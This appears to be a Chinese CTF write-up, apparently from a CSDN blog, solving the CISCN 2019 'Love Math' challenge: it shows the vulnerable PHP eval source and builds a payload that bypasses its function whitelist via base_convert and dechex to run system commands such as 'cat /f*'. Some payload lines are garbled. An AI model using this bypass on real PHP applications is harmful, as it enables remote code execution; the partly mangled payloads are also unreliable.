• [CISCN 2019 初赛]Love Math


    这道题思考了好多,本来一直想构造$_GET[1]来实现RCE的,结果一直构造不出来,出了各种报错。于是就一步一步来验证,解决自己的问题,更加理解了php eval 的原理吧

    解题

    进入页面就是给出了源代码:

    = 80) {
            die("太长了不会算");
        }
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $content)) {
                die("请不要输入奇奇怪怪的字符");
            }
        }
        //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
        $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
        preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
        foreach ($used_funcs[0] as $func) {
            if (!in_array($func, $whitelist)) {
                die("请不要输入奇奇怪怪的函数");
            }
        }
        //帮你算出答案
        eval('echo '.$content.';');
    }

    本来想着无从下手,但是whitelist里面有几个函数其实是可以利用的:

    base_convert => 进制转换

    hex2bin => hex->ascii

    如此一来便可以利用数字构造字符串了。

    所以现在要来确定一下payload,起初我的思路是构造eval($_GET[1])但是总是构造不出来,因为前面有个echo,如果想要隔绝echo就必须用"1;eval($_GET[1])",于是就在这一步卡住了,总是构造不出来,因为('eval')('$_GET[1]')总是会报错,就只能用('system')('ls')来直接执行命令了。

    因为('system')('ls')是可行的。不过php版本似乎对这个有要求,再php5.6版本下一样的代码会报错,在php7.0确实成功执行的

    所以就构造payload是?c=($_GET[abs])($_GET[acos])&abs=system&acos=ls

    //参数使用abs,acos是因为这两个在白名单里面

    现在面临的问题是_GET[]都在白名单外面,于是就使用上面介绍的两个函数来绕过

    写一个脚本用来绕过:

     hex
    echo base_convert($string,16,10); //将 hex->10进制
    ?> 
    
    //输出 1598506324

    只要hex2bin(base_convert(1598506324,10,16))就可以还原_GET

    但现在问题是hex2bin也是白名单外的函数,所以就用36进制把hex2bin变成10进制

    用36进制的原因:

    36进制是包含所有英文字母的,然后hex2bin有个x是排在26个字母倒数第二个,所以要用36进制

     
    // 输出 37907361743

    实际环境试验一下:

    输出_GET说明可行。

    接下来就是[]的问题,[]可以用{}替代,即_GET{1}==_GET[1]

    由此payload就出来了:

    ?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));(absabs)(

    absabs)(
    abs{acos})&abs=system&acos=ls

    当我们满心欢喜提交payload的时候:

    于是必须想办法缩短payload,就从白名单的abs,acos入手,找尽量短的字符串

    c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));(pi)pi((

    pi)pi((
    pi){cos})&pi=system&cos=cat /f*

    成功拿到flag

  • 相关阅读:
    如何在本地上次文件到GitHub
    Python爬虫——爬取某网站的视频
    智慧旅游引领旅游行业创新发展:借助智能科技的力量,推动旅游服务的个性化、精准化,提升游客的满意度和忠诚度
    如何安装西门子PLC设备
    C++&QT---QT-day3
    软路由和硬路由的区别是什么,性价比与可玩性分析
    如何使用websocket+node.js实现pc后台与小程序端实时通信
    计算机网络(第7版)第三章(传输层)知识点整理
    rabbitMQ的exchanages类型以及使用场景
    Gateway基本配置
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126451777